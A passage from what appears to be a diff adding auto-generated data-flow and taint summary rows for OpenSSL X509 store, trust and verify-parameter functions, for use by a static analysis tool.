"dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_check_issued", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*check_issued]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_check_policy", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*check_policy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_check_revocation", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*check_revocation]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_cleanup", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*cleanup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_current_cert", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**current_cert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_current_cert", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*current_cert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_error", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*error]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_error_depth", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*error_depth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_ex_data", "(const X509_STORE_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_explicit_policy", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*explicit_policy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_get_crl", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*get_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_get_issuer", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*get_issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_lookup_certs", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*lookup_certs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_lookup_crls", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*lookup_crls]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_num_untrusted", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*num_untrusted]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_verify", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*verify]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_verify_cb", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*verify_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init", "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)", "", "Argument[*2]", "Argument[*0].Field[**cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init", "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)", "", "Argument[*3]", "Argument[*0].Field[**untrusted]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init", "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*store]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init", "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)", "", "Argument[2]", "Argument[*0].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init", "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)", "", "Argument[3]", "Argument[*0].Field[*untrusted]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init_rpk", "(X509_STORE_CTX *,X509_STORE *,EVP_PKEY *)", "", "Argument[*2]", "Argument[*0].Field[**rpk]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init_rpk", "(X509_STORE_CTX *,X509_STORE *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*store]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init_rpk", "(X509_STORE_CTX *,X509_STORE *,EVP_PKEY *)", "", "Argument[2]", "Argument[*0].Field[*rpk]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_print_verify_cb", "(int,X509_STORE_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_purpose_inherit", "(X509_STORE_CTX *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_purpose_inherit", "(X509_STORE_CTX *,int,int,int)", "", "Argument[2]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_purpose_inherit", "(X509_STORE_CTX *,int,int,int)", "", "Argument[3]", "Argument[*0].Field[**param].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_crls", "(X509_STORE_CTX *,stack_st_X509_CRL *)", "", "Argument[*1]", "Argument[*0].Field[**crls]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_crls", "(X509_STORE_CTX *,stack_st_X509_CRL *)", "", "Argument[1]", "Argument[*0].Field[*crls]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_dane", "(X509_STORE_CTX *,SSL_DANE *)", "", "Argument[*1]", "Argument[*0].Field[**dane]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_dane", "(X509_STORE_CTX *,SSL_DANE *)", "", "Argument[1]", "Argument[*0].Field[*dane]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_param", "(X509_STORE_CTX *,X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0].Field[**param]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_param", "(X509_STORE_CTX *,X509_VERIFY_PARAM *)", "", "Argument[1]", "Argument[*0].Field[*param]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_rpk", "(X509_STORE_CTX *,EVP_PKEY *)", "", "Argument[*1]", "Argument[*0].Field[**rpk]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_rpk", "(X509_STORE_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*rpk]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_trusted_stack", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0].Field[**other_ctx]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_trusted_stack", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*other_ctx]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_untrusted", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0].Field[**untrusted]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_untrusted", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*untrusted]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_verified_chain", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0].Field[**chain]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_verified_chain", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*chain]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_cert", "(X509_STORE_CTX *,X509 *)", "", "Argument[*1]", "Argument[*0].Field[**cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_cert", "(X509_STORE_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_current_cert", "(X509_STORE_CTX *,X509 *)", "", "Argument[*1]", "Argument[*0].Field[**current_cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_current_cert", "(X509_STORE_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*current_cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_current_reasons", "(X509_STORE_CTX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*current_reasons]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_depth", "(X509_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*depth]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_error", "(X509_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*error]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_error_depth", "(X509_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*error_depth]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_flags", "(X509_STORE_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_get_crl", "(X509_STORE_CTX *,X509_STORE_CTX_get_crl_fn)", "", "Argument[1]", "Argument[*0].Field[*get_crl]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_purpose", "(X509_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_time", "(X509_STORE_CTX *,unsigned long,time_t)", "", "Argument[2]", "Argument[*0].Field[**param].Field[*check_time]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_trust", "(X509_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_verify", "(X509_STORE_CTX *,X509_STORE_CTX_verify_fn)", "", "Argument[1]", "Argument[*0].Field[*verify]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set_verify_cb", "(X509_STORE_CTX *,X509_STORE_CTX_verify_cb)", "", "Argument[1]", "Argument[*0].Field[*verify_cb]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_add_lookup", "(X509_STORE *,X509_LOOKUP_METHOD *)", "", "Argument[*1]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_add_lookup", "(X509_STORE *,X509_LOOKUP_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*store_ctx]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_add_lookup", "(X509_STORE *,X509_LOOKUP_METHOD *)", "", "Argument[1]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get0_objects", "(const X509_STORE *)", "", "Argument[*0].Field[**objs]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get0_objects", "(const X509_STORE *)", "", "Argument[*0].Field[*objs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get0_param", "(const X509_STORE *)", "", "Argument[*0].Field[**param]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get0_param", "(const X509_STORE *)", "", "Argument[*0].Field[*param]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get1_objects", "(X509_STORE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_STORE_get_cert_crl", "(const X509_STORE *)", "", "Argument[*0].Field[*cert_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_check_crl", "(const X509_STORE *)", "", "Argument[*0].Field[*check_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_check_issued", "(const X509_STORE *)", "", "Argument[*0].Field[*check_issued]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_check_policy", "(const X509_STORE *)", "", "Argument[*0].Field[*check_policy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_check_revocation", "(const X509_STORE *)", "", "Argument[*0].Field[*check_revocation]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_cleanup", "(const X509_STORE *)", "", "Argument[*0].Field[*cleanup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_ex_data", "(const X509_STORE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_get_get_crl", "(const X509_STORE *)", "", "Argument[*0].Field[*get_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_get_issuer", "(const X509_STORE *)", "", "Argument[*0].Field[*get_issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_lookup_certs", "(const X509_STORE *)", "", "Argument[*0].Field[*lookup_certs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_lookup_crls", "(const X509_STORE *)", "", "Argument[*0].Field[*lookup_crls]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_verify", "(const X509_STORE *)", "", "Argument[*0].Field[*verify]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_get_verify_cb", "(const X509_STORE *)", "", "Argument[*0].Field[*verify_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set1_param", "(X509_STORE *,const X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_STORE_set_cert_crl", "(X509_STORE *,X509_STORE_CTX_cert_crl_fn)", "", "Argument[1]", "Argument[*0].Field[*cert_crl]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_check_crl", "(X509_STORE *,X509_STORE_CTX_check_crl_fn)", "", "Argument[1]", "Argument[*0].Field[*check_crl]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_check_issued", "(X509_STORE *,X509_STORE_CTX_check_issued_fn)", "", "Argument[1]", "Argument[*0].Field[*check_issued]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_check_policy", "(X509_STORE *,X509_STORE_CTX_check_policy_fn)", "", "Argument[1]", "Argument[*0].Field[*check_policy]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_check_revocation", "(X509_STORE *,X509_STORE_CTX_check_revocation_fn)", "", "Argument[1]", "Argument[*0].Field[*check_revocation]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_cleanup", "(X509_STORE *,X509_STORE_CTX_cleanup_fn)", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_depth", "(X509_STORE *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*depth]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_flags", "(X509_STORE *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_set_get_crl", "(X509_STORE *,X509_STORE_CTX_get_crl_fn)", "", "Argument[1]", "Argument[*0].Field[*get_crl]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_get_issuer", "(X509_STORE *,X509_STORE_CTX_get_issuer_fn)", "", "Argument[1]", "Argument[*0].Field[*get_issuer]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_lookup_certs", "(X509_STORE *,X509_STORE_CTX_lookup_certs_fn)", "", "Argument[1]", "Argument[*0].Field[*lookup_certs]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_lookup_crls", "(X509_STORE *,X509_STORE_CTX_lookup_crls_fn)", "", "Argument[1]", "Argument[*0].Field[*lookup_crls]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_purpose", "(X509_STORE *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_trust", "(X509_STORE *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_verify", "(X509_STORE *,X509_STORE_CTX_verify_fn)", "", "Argument[1]", "Argument[*0].Field[*verify]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_set_verify_cb", "(X509_STORE *,X509_STORE_CTX_verify_cb)", "", "Argument[1]", "Argument[*0].Field[*verify_cb]", "value", "dfc-generated"] + - ["", "", True, "X509_TRUST_get0", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_TRUST_get0", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_TRUST_get0_name", "(const X509_TRUST *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_TRUST_get0_name", "(const X509_TRUST *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_TRUST_get_by_id", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_TRUST_get_flags", "(const X509_TRUST *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_TRUST_get_trust", "(const X509_TRUST *)", "", "Argument[*0].Field[*trust]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_TRUST_set", "(int *,int)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "X509_VAL_free", "(X509_VAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_VAL_free", "(X509_VAL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add0_policy", "(X509_VERIFY_PARAM *,ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[**policies].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add0_policy", "(X509_VERIFY_PARAM *,ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[**policies].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add0_policy", "(X509_VERIFY_PARAM *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add0_policy", "(X509_VERIFY_PARAM *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**hosts].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**hosts].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**hosts].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_add1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**hosts].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_clear_flags", "(X509_VERIFY_PARAM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_email", "(X509_VERIFY_PARAM *)", "", "Argument[*0].Field[**email]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_email", "(X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*email]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_host", "(X509_VERIFY_PARAM *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_name", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_name", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_peername", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[**peername]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get0_peername", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*peername]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_auth_level", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*auth_level]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_depth", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*depth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_flags", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_hostflags", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*hostflags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_inh_flags", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*inh_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_purpose", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*purpose]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_get_time", "(const X509_VERIFY_PARAM *)", "", "Argument[*0].Field[*check_time]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_inherit", "(X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_VERIFY_PARAM_move_peername", "(X509_VERIFY_PARAM *,X509_VERIFY_PARAM *)", "", "Argument[*1].Field[**peername]", "Argument[*0].Field[**peername]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_move_peername", "(X509_VERIFY_PARAM *,X509_VERIFY_PARAM *)", "", "Argument[*1].Field[*peername]", "Argument[*0].Field[*peername]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1", "(X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_email", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**email]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_email", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**email]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_email", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*emaillen]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**hosts].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**hosts].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**hosts].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_host", "(X509_VERIFY_PARAM *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**hosts].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_ip", "(X509_VERIFY_PARAM *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**ip]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_ip", "(X509_VERIFY_PARAM *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_ip", "(X509_VERIFY_PARAM *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iplen]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_ip_asc", "(X509_VERIFY_PARAM *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_ip_asc", "(X509_VERIFY_PARAM *,const char *)", "", "Argument[1]", "Argument[*0].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_name", "(X509_VERIFY_PARAM *,const char *)", "", "Argument[*0].Field[*name]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_name", "(X509_VERIFY_PARAM *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_name", "(X509_VERIFY_PARAM *,const char *)", "", "Argument[1]", "Argument[*0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set1_policies", "(X509_VERIFY_PARAM *,stack_st_ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_auth_level", "(X509_VERIFY_PARAM *,int)", "", "Argument[1]", "Argument[*0].Field[*auth_level]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_depth", "(X509_VERIFY_PARAM *,int)", "", "Argument[1]", "Argument[*0].Field[*depth]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_flags", "(X509_VERIFY_PARAM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_hostflags", "(X509_VERIFY_PARAM *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*hostflags]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_inh_flags", "(X509_VERIFY_PARAM *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*inh_flags]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_purpose", "(X509_VERIFY_PARAM *,int)", "", "Argument[1]", "Argument[*0].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_time", "(X509_VERIFY_PARAM *,time_t)", "", "Argument[1]", "Argument[*0].Field[*check_time]", "value", "dfc-generated"] + - ["", "", True, "X509_VERIFY_PARAM_set_trust", "(X509_VERIFY_PARAM *,int)", "", "Argument[1]", "Argument[*0].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "X509_add1_ext_i2d", "(X509 *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509_add_cert", "(stack_st_X509 *,X509 *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_add_cert", "(stack_st_X509 *,X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_add_cert", "(stack_st_X509 *,X509 *,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_add_cert", "(stack_st_X509 *,X509 *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "X509_add_certs", "(stack_st_X509 *,stack_st_X509 *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_add_ext", "(X509 *,X509_EXTENSION *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_add_ext", "(X509 *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_build_chain", "(X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", 